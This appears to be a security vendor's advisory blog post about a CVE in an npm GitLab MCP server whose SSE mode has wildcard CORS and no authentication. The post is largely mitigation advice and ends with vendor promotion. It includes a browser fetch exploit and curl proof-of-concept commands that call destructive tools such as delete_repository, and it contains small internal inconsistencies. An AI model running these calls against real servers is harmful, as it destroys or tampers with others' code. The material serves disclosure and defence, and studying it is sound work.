The AI Agent Gateway Bypass: How Wildcard CORS + No Auth = Unguarded Access to 86 GitLab Tools
TL;DR
CVE-2026-44895 exposes a catastrophic authentication gap in the @yoda.digital/gitlab-mcp-server npm package: when SSE transport is enabled (the README's recommended mode), the HTTP server runs with wildcard CORS and zero authentication checks. An attacker on the same network—or from any web page the operator visits—can execute all 86 exposed GitLab tools, including delete_repository, push_files, and update_repository_settings, using the operator's GitLab Personal Access Token. There is no fix yet.
What Happened
On May 9, 2026, GitLab's security team disclosed CVE-2026-44895: the mcp-gitlab-server package (used to expose GitLab as an MCP—Model Context Protocol—interface for AI agents and automation tools) ships with an unauthenticated, wildcard-CORS HTTP endpoint when the documented SSE (Server-Sent Events) transport is enabled.
The vulnerability chain:
1. Operator configures SSE mode (the advertised feature) by setting USE_SSE=true
2. HTTP server binds to 0.0.0.0:3000 (all interfaces, no loopback restriction)
3. SSE endpoint accepts all Origins via Access-Control-Allow-Origin: *
4. No credential check on /sse or /messages?sessionId=... endpoints
5. MCP tool calls are proxied to GitLab API using the operator's PAT (Personal Access Token)
The result: any attacker who can reach the port—LAN peer, cloud instance, or browser tab via CORS—gets full access to every GitLab tool the server exposes.
Technical Details: The Three-Part Failure
1. Unauthenticated SSE Endpoint
The HTTP transport in src/transport.ts opens an SSE connection without checking any credentials:
// SSE handler: no auth check
GET /sse
// Response header:
Access-Control-Allow-Origin: *
// Returns a session endpoint:
// event: endpoint
// data: /messages?sessionId=<UUID>
An attacker gets a valid session UUID with no auth overhead.
2. Wildcard CORS on All Endpoints
Every response includes Access-Control-Allow-Origin: *, which means any origin—including a malicious web page—can make cross-origin fetch requests. Combined with the session UUID, this creates a direct browser-tab attack vector:
// From any web page the operator visits:
fetch('http://localhost:3000/sse')
.then(res => res.text())
.then(text => {
const sessionId = text.match(/sessionId=([^)]+)/)[1];
// Now call any tool:
fetch(`http://localhost:3000/messages?sessionId=${sessionId}`, {
method: 'POST',
body: JSON.stringify({
jsonrpc: '2.0',
id: 1,
method: 'tools/call',
params: { name: 'delete_repository', arguments: { ... } }
})
});
});
3. No Inbound Credential Check on Tool Calls
The /messages endpoint accepts POST requests with MCP tool calls and forwards them to the GitLab API using the operator's stored PAT. The code path has no Authorization header check, no session validation tied to a client, and no per-request credential proof:
// POST /messages?sessionId=<UUID>
// No Authorization header required
// Tool calls are proxied to GitLab API
// Using: process.env.GITLAB_PERSONAL_ACCESS_TOKEN
The operator's PAT never leaves the process, but every API call it backs is available to the unauthenticated caller.
Exploitable Tools
The server exposes 86 GitLab tools, including:
delete_repository— removes an entire repopush_files— commits code to any branchcreate_merge_request— opens PRs with code changesupdate_repository_settings— modifies visibility, CI/CD pipelines, branch protectioncreate_group,delete_group,list_members,update_member_role
All are callable without authentication.
Proof of Concept
# Step 1: Open SSE, capture the session UUID
curl -N http://localhost:3000/sse &
# Output:
# event: endpoint
# data: /messages?sessionId=a1b2c3d4-e5f6-7890-abcd-ef1234567890
# Step 2: Call a destructive tool (no auth required)
curl -X POST "http://localhost:3000/messages?sessionId=a1b2c3d4-e5f6-7890-abcd-ef1234567890" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "delete_repository",
"arguments": { "project_id": "target-org/critical-repo" }
}
}'
# Response: Repository deleted. Operator's PAT was used. No credentials exchanged.
Lyrie Assessment: Why This Matters to Autonomous Defense
This vulnerability sits at the intersection of AI agent security and supply chain risk:
1. MCP is the protocol for AI tool binding: Model Context Protocol is how Claude, ChatGPT, and agentic frameworks (n8n, Langchain) hook into external APIs. A compromised MCP interface = compromised agent autonomy.
2. GitLab MCP is commonly deployed in CI/CD pipelines: Engineering teams use mcp-gitlab-server to let AI automation tools (code review agents, release orchestration, incident response) interact with their repos.
3. The browser-tab attack is silent and invisible: Developers who run mcp-gitlab-server on localhost (or a private network) assume it's safe. A single visited phishing page, or a tracking pixel from a compromised ad network, can exfiltrate the operator's GitLab credentials without any log.
4. It opens a lateral movement path: Once an attacker has network access to a developer's machine, they can manipulate CI/CD configurations, inject backdoors into code, or delete repositories—all framed as legitimate MCP tool calls.
5. No mitigation exists yet: The package ships with no auth layer at all. The README.md roadmap lists "SAML/OAuth3 authentication" as a future item, confirming the maintainers already knew auth was missing. Operators following the documented setup are exposed by default.
Recommended Actions
Immediate (Today):
- If you run @yoda.digital/gitlab-mcp-server with
USE_SSE=true: stop the process now. This is not a patch-later vulnerability. - Check your deployment inventory for MCP services exposed to the network or running on developer machines.
- Audit GitLab API logs for any tool calls made between May 1–9 (when the vulnerability was introduced in the codebase).
Short-term (This Week):
- Do not use SSE transport until a patched version ships with mandatory auth.
- If you need MCP-to-GitLab integration, use stdin/stdout transport only (not SSE). The transport.ts file has both implementations; SSE is the vulnerable one.
- If you must use SSE, run it on 127.0.0.1 only (localhost), with
MCP_GITLAB_HOST=127.0.0.1if the package supports it (check the repo).
Long-term (Before Re-enabling SSE):
- Wait for a patched version with:
1. Mandatory MCP_GITLAB_AUTH_TOKEN environment variable (enforced at startup).
2. Localhost-only default bind (0.0.0.0 only with explicit flag + warning).
3. Restrictive CORS (no wildcard; allowlist required).
- Pin the package to a specific patched version. Do not use
^or~version ranges; use exact versions only. - Rotate your GitLab Personal Access Tokens after patching.
Architecture Change:
- Consider whether MCP-to-GitLab should live on a separate, isolated machine (CI/CD runner, not developer laptop).
- Use network segmentation: MCP service should be unreachable from untrusted networks. If it must be network-accessible, sit it behind a reverse proxy with mutual TLS (client certificate auth).
- For agentic workflows: minimize the token scope. Create GitLab PATs with read-only permissions for tool inspection, and use separate tokens for write operations.
Sources
1. GitLab Advisories: CVE-2026-44895
2. GitHub Advisory Database: GHSA-8jr5-6gvj-rfpf
4. mcp-gitlab-server Repository
Lyrie.ai Cyber Research Division
Lyrie Verdict
Lyrie's autonomous defense layer flags this class of exposure the moment it surfaces — no signature update required.